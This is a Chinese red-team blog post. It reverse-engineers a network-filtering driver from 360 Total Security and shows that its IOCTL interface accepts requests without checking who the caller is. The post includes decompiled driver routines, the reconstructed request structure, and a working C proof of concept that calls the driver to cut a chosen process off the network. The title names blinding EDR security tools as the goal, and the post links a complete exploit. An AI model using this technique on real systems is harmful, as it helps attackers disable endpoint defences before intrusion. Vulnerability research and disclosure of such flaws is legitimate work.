利用360驱动阻断EDR网络连接
可以遐想 2026-02-11 01:20 安徽
以下文章来源于:遐想的小窝
遐想的小窝曾专注红队对抗和武器化开发,现懒癌晚期,随缘研究。

闲来无事发个水文,记录一下特殊情况下分析360安全卫士过程中觉得可以公开的一个点。
在对 `360netmon_x64_wfp.sys` 进行逆向工程时,我首先定位到驱动的入口点 `DriverEntry`,发现驱动创建了两个设备对象:
IoCreateDevice(DriverObject, 0, L"\\Device\\360TdiFilter", 0x22u, 0, 0, &deviceObject);IoCreateSymbolicLink(L"\\DosDevices\\360TdiFilter", L"\\Device\\360TdiFilter");IoCreateDevice(DriverObject, 0, L"\\Device\\360TdiSpeed", 0x22u, 0, 0, &qword_25320);IoCreateSymbolicLink(L"\\DosDevices\\360TdiSpeed", L"\\Device\\360TdiSpeed");

这两个设备可以从用户态通过符号链接 `\\\\.\\\\360TdiFilter` 和 `\\\\.\\\\360TdiSpeed` 访问。
这个驱动注册了多个 IRP 处理函数,其中 `IrpMjDeviceControl` 处理函数(地址 `0x12374`)负责处理所有 IOCTL 请求。

在 IrpMjDeviceControl 的入口处,代码仅验证设备对象是否匹配,完全没有调用者身份验证:

123D8: mov rcx, cs:g_pDeviceObject_TdiFilter123DF: cmp rdi, rcx ; 仅验证设备对象123E2: jz short loc_12422
既然如此我们就不得不去分析 IOCTL 接口实现进一步的利用。因为我们通过驱动的信息已经知道这个WFP驱动的用途,所以我们的预期就是任意的阻断网络功能。
很快我们的目光就到了 IOCTL 0x220804:身上,我们猜测功能是设置进程网络限速/阻断。于是细细地看了一下。


跟进sub_18BB8方法,我们发现它会:
解析用户提供的进程路径
在进程hash表中查找或创建进程节点
设置进程的限速配置字段
如果 qwBlockCnnt 设置为 LLONG_MAX,则完全阻断网络
IOCTL 0x220444 则主要负责WFP 过滤器操作,用来动态添加/删除 WFP 过滤规则,我们直接摸进sub_1D45C。

NTSTATUS __fastcall sub_1D45C(int a1){NTSTATUS v7;char v1, v2, v3, v4;// 检查 Windows 版本(仅支持 Win10 1607+)if (g_WindowsBuildNumber < 0x23F0) // Build 9200return STATUS_NOT_IMPLEMENTED;// 检查是否已经是相同模式if (dword_6B78C == a1)return STATUS_SUCCESS;// 检查 WFP 引擎句柄if (!engineHandle)return STATUS_DEVICE_NOT_READY;// 开始 WFP 事务v7 = FwpmTransactionBegin0(engineHandle, 0);if (v7 < 0)return v7;if (a1) { // 启用过滤// 注册 4 个 WFP Callout (Established V4/V6, Datagram V4/V6)v7 = sub_1D1E8(qword_6B790, &xmmword_236D0, &calloutId);if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS)goto CLEANUP;v1 = 1;v7 = sub_1D1E8(qword_6B790, &xmmword_236E0, &dword_6B10C);if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS)goto CLEANUP;v2 = 1;v7 = sub_1D1E8(qword_6B790, &xmmword_236F0, &dword_6B750);if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS)goto CLEANUP;v3 = 1;v7 = sub_1D1E8(qword_6B790, &xmmword_23700, &dword_6B754);if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS)goto CLEANUP;v4 = 1;// 添加 4 个 WFP Filterv7 = sub_1CF28(..., engineHandle, 0, &dword_6B7A0);// ... (重复为其他3个过滤器)} else { // 禁用过滤// 删除所有过滤器和 Calloutv7 = FwpmFilterDeleteById0(engineHandle, id);v7 = FwpmFilterDeleteById0(engineHandle, qword_6B7C0);v7 = FwpmCalloutDeleteById0(engineHandle, dword_6B7A0);// ...sub_1E288(); // 清理内部状态FwpsCalloutUnregisterById0(calloutId);FwpsCalloutUnregisterById0(dword_6B10C);FwpsCalloutUnregisterById0(dword_6B750);FwpsCalloutUnregisterById0(dword_6B754);}// 提交 WFP 事务v7 = FwpmTransactionCommit0(engineHandle);if (v7 >= 0)dword_6B78C = a1; // 保存当前模式CLEANUP:if (v7 < 0) {// 失败时回滚并清理已注册的 Calloutif (v1) FwpsCalloutUnregisterById0(calloutId);if (v2) FwpsCalloutUnregisterById0(dword_6B10C);if (v3) FwpsCalloutUnregisterById0(dword_6B750);if (v4) FwpsCalloutUnregisterById0(dword_6B754);FwpmTransactionAbort0(engineHandle);}return v7;}
也就是说:
这玩意儿在 WFP 层级动态注册/注销 Callout 和 Filter
Callout 在 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4/V6和
FWPM_LAYER_ALE_AUTH_CONNECT_V4/V6 层拦截
没有验证调用者权限,任何管理员进程都可以调用
驱动通过以下流程实现网络阻断:
用户态应用 (Pwn.exe)↓ DeviceIoControl(0x220804, &LIMIT_SPEED)┌───▼─────────────────────────────┐│ IrpMjDeviceControl ││ @ 0x12374 │└───┬─────────────────────────────┘↓ call sub_18BB8┌───▼─────────────────────────────┐│ 解析进程路径并查找哈希表 ││ LookupProcessInHashTable() │└───┬─────────────────────────────┘↓ 更新进程节点┌───▼─────────────────────────────┐│ ProcessNode->qwBlockCnnt = MAX ││ ProcessNode->nLimitSend = MAX ││ ProcessNode->nLimitRecv = MAX ││ ProcessNode->bCancelFlag = FALSE │└───┬─────────────────────────────┘↓等待目标进程产生网络活动↓┌───▼─────────────────────────────┐│ WFP Callout 拦截点 ││ (网络包发送/接收时触发) │└───┬─────────────────────────────┘↓ 查询限速配置┌───▼─────────────────────────────┐│ if (ProcessNode->qwBlockCnnt ││ == LLONG_MAX) ││ return FWP_ACTION_BLOCK; │└──────────────────────────────────┘↓网络包被丢弃,进程无法联网
现在开始搓POC
通过逆向分析和动态调试,我们重建了驱动期望的数据结构:
typedef struct _PACK {WCHAR szNtPath[MAX_PATH + 40]; // +0x000: NT格式路径 (e.g., \WINDOWS\SYSTEM32\NOTEPAD.EXE)WCHAR szPath[MAX_PATH]; // +0x228: DOS格式路径 (e.g., C:\Windows\System32\notepad.exe)BOOL bCancelFlag; // +0x428: TRUE=解除限制, FALSE=应用限制LONGLONG qwBlockCnnt; // +0x430: 阻断计数器 (LLONG_MAX = 完全阻断)LONGLONG nLimitSend; // +0x438: 上传速度限制 (字节/秒)LONGLONG nLimitRecv; // +0x440: 下载速度限制 (字节/秒)DWORD dwZeroCheck; // +0x448: 保留字段 (必须为0)} PACK, *PPACK;
后面的就很简单了,只需要这样那样就可以了:
BOOL BlockProcessNetwork(const WCHAR *szImagePath) {HANDLE hDevice;PACK ls;DWORD dwBytesReturned;// 1. 打开驱动设备对象hDevice = CreateFileW(L"\\\\.\\360TdiFilter",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);if (hDevice == INVALID_HANDLE_VALUE) {printf("[!] Failed to open device (Error: %lu)\n", GetLastError());return FALSE;}// 2. 启用驱动监控功能(可选,驱动可能已启用)DeviceIoControl(hDevice, 0x220408, NULL, 0, NULL, 0, &dwBytesReturned, NULL);// 3. 构造限速/阻断结构体ZeroMemory(&ls, sizeof(ls));wcsncpy_s(ls.szPath, MAX_PATH, szImagePath, _TRUNCATE);ConvertToNtPath(szImagePath, ls.szNtPath); // 转换为NT路径格式ls.bCancelFlag = FALSE; // FALSE = 应用限制ls.qwBlockCnnt = LLONG_MAX; // 设置为最大值 = 完全阻断ls.nLimitSend = LLONG_MAX; // 上传限制 = 无限大ls.nLimitRecv = LLONG_MAX; // 下载限制 = 无限大ls.dwZeroCheck = 0;// 4. 发送 IOCTL 请求if (!DeviceIoControl(hDevice,0x220804, // IOCTL_360TDIFILTER_LIMIT_PROCESS_SPEED&ls,sizeof(ls),NULL,0,&dwBytesReturned,NULL)) {printf("[!] DeviceIoControl failed (Error: %lu)\n", GetLastError());CloseHandle(hDevice);return FALSE;}printf("[+] Successfully blocked: %S\n", szImagePath);CloseHandle(hDevice);return TRUE;}
完整的EXP可以查看我的Github:
https://github.com/kyxiaxiang/360WFP_Exploit

阻断后:

当然了360对自己是加了白名单的,所以银狐们退下吧(/摊手/)